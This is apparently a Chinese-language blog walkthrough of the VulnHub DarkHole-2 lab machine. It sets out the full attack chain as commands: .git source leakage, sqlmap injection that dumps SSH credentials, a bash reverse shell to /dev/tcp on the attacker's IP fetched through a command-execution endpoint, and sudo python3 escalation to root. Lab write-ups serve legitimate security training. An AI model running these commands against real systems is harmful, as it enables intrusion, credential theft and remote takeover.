VulnHub-DarkHole-2 Walkthrough WP

简介: VulnHub-DarkHole-2 Walkthrough WP

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

靶场信息:

地址:https://www.vulnhub.com/entry/darkhole-2,740/

发布日期:2021 年 9 月 3 日

难度:难

目标:获得root权限

运行:VMware

提示:不要为 Brute-Force 浪费时间

一、信息收集

1 获取靶机ip

netdiscover -r 10.0.1.0/24 -i eth0

得到ip地址:10.0.1.4

2 访问靶

http://10.0.1.4/

3 开放端口服务信息获取

nmap -v -T4 -p- -A -oN nmap.log 10.0.1.4

得到信息(存在.git泄露):

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 57:b1:f5:64:28:98:91:51:6d:70:76:6e:a5:52:43:5d (RSA)
|   256 cc:64:fd:7c:d8:5e:48:8a:28:98:91:b9:e4:1e:6d:a8 (ECDSA)
|_  256 9e:77:08:a4:52:9f:33:8d:96:19:ba:75:71:27:bd:60 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-git: 
|   10.0.1.4:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: i changed login.php file for more secure 
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole V2

注意这里的80端口服务中扫描到.Git信息,可以利用.git信息泄露漏洞获取源码

8585端口安装有gitea web应用

4 目录扫描

dirsearch -u http://10.0.1.3/

gobuster dir -u http://10.0.1.3/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

二、漏洞探测+利用

1. 获取源码方法1

使用 wget 和 git

wget递归下载所有文件
wget -r http://192.168.19.137/.git

这将创建一个名称为 IP 地址的目录。在目录中,它包含递归下载的文件,包括“.git”。

按如下方式克隆它。

git clone . webapp

这将创建一个 git 存储库“webapp”,我们可以在其中执行所有 git 操作。

在 login.php 页面上,我们看到了登录逻辑。

显示的部分正在清理输入。因此,我们无法执行 SQL 注入。但是,当我检查 git 日志时,我们会在同一个地方看到凭据。

执行

git log

git 日志中,我们看到作者在第二次提交时添加了默认凭据。因此,让我们将 HEAD 切换到该提交。

git checkout a4d9
cat login.php

lush@admin.com/321

现在,我们可以看到 ID 为 1 的用户的凭据。我们现在可以轻松登录 Web 应用程序

2.获取源码方法2

使用 GitTools工具

https://github.com/internetwache/GitTools

共有三种工具,我将使用其中的两种。

将.git目录转储到目录gitdump。
./Dumper/gitdumper.sh http://10.0.1.4/.git/ gitdump

将提取源代码并按照提交进行组织
./Extractor/extractor.sh . .

这样,我们就可以从 .git 目录中获取源代码了。

其余的和之前的一样。唯一的区别是它将所有内容转储到单独的目录中。

2.SQL注入

URL 上,我们看到一个 GET 参数“id”。当我们改变它的值时,我们也可以观察到页面的变化。

id=null时,数据为空

单引号

sqlmap跑一下

将请求包保存到文件,

sqlmap -r sql3 -p id --random-agent

存在union注入

判断权限为DBA

os-shell失败,不知道网站路径

前面git找到数据库的库名是darkhole_2

用sqlmap跑这个库看看有什么表

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U --current-db

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 --tables

ssh这个表应该有问题,看列名

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --columns

3.得到ssh用户名密码

sqlmap -r sql3 -p id --random-agent --is-dba --technique=U -D darkhole_2 -T ssh --dump

+----+------+--------+
| id | pass | user   |
+----+------+--------+
| 1  | fool | jehad  |
+----+------+--------+

ssh登录

ssh jehad@10.0.1.4

4.发现命令执行

查看jehad用户的命令记录

cat .bash_history

发现命令执行

试一下果然能行,是losy用户的权限

curl "http://127.0.0.1:9999/?cmd=id"

5.获取losy用户shell

将反弹shell的文件下载到/tmp路径,kali的ip是10.0.1.12

#!/bin/bash
bash -i >& /dev/tcp/10.0.1.12/6666 0>&1

curl "http://127.0.0.1:9999/?cmd=bash%20/tmp/shell"

6.user.txt

7.获取losy密码

再次查看历史记录,发现losy密码是gang

成功连接ssh

查看losy用户的sudo权限(jehad用户无法使用sudo)

可以使用python3

三、权限提升

1.获取root权限

sudo python3 -c 'import os; os.system("/bin/sh")'

2.获取root flag

DarkHole{'Legend'}

总结

这台靶机难度定义的是难,但也不难,比第一个难一点点。我翻了一下网上的教程,他们居然没看历史命令记录,好吧,这可能是出题人忘记删掉了,但难度还行吧。命令记录会保留一个crontab的计划任务,这用LinEnum脚本很容易发现,然后就是通过查看源码发现命令执行的web服务,进行反弹shell得到losy的shell,在历史记录中发现losy的密码,登上去ssh,查看sudo即可使用python3获取root权限。

参考

https://nepcodex.com/2021/09/darkhole_2-walkthrough-vulnhub-writeup/

相关文章
|
安全 Shell C语言
vulnhub-GoldenEye靶机通关wp(二)
vulnhub-GoldenEye靶机通关wp
110 0
vulnhub-GoldenEye靶机通关wp(二)
|
数据安全/隐私保护
vulnhub-GoldenEye靶机通关wp(一)
vulnhub-GoldenEye靶机通关wp
189 0
|
安全 Shell Linux
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
靶机实战-vuluhub系列-Hack djinn:1 : walkthrough
|
安全 数据安全/隐私保护
VulnHub-hackNos:Os-hackNos-2.1-WP
VulnHub-hackNos:Os-hackNos-2.1-WP
63 0
VulnHub-hackNos:Os-hackNos-2.1-WP
|
Shell PHP 数据安全/隐私保护
VulnHub-hackNos: Os-hackNos-3-wp
VulnHub-hackNos: Os-hackNos-3-wp
76 0
VulnHub-hackNos: Os-hackNos-3-wp
|
安全 Shell Linux
【VulnHub靶场】——BOREDHACKERBLOG: SOCIAL NETWORK
给自己定了个小目标,从今天开始进行24次系统性打靶训练,每次打靶后都会分享靶场攻略和总结的知识点,如果对渗透测试和打靶比较感兴趣的小伙伴们也可以跟着我一起训练哦(这24个靶场都是精挑细选的,基本覆盖了渗透测试需要了解的全部类型的漏洞),我们直接进行第一次打靶训练
255 0
【VulnHub靶场】——BOREDHACKERBLOG: SOCIAL NETWORK
|
网络协议 Shell Linux
【VulnHub靶场】——EMPIRE: BREAKOUT
今天写一份EMPIRE: BREAKOUT靶场教程(简单难度),靶场环境来源于VulnHub,该网站有很多虚拟机靶场,靶场入口在这,推荐大家使用,大家进去直接搜索EMPIRE: BREAKOUT就能下载今天的靶场了
223 0
【VulnHub靶场】——EMPIRE: BREAKOUT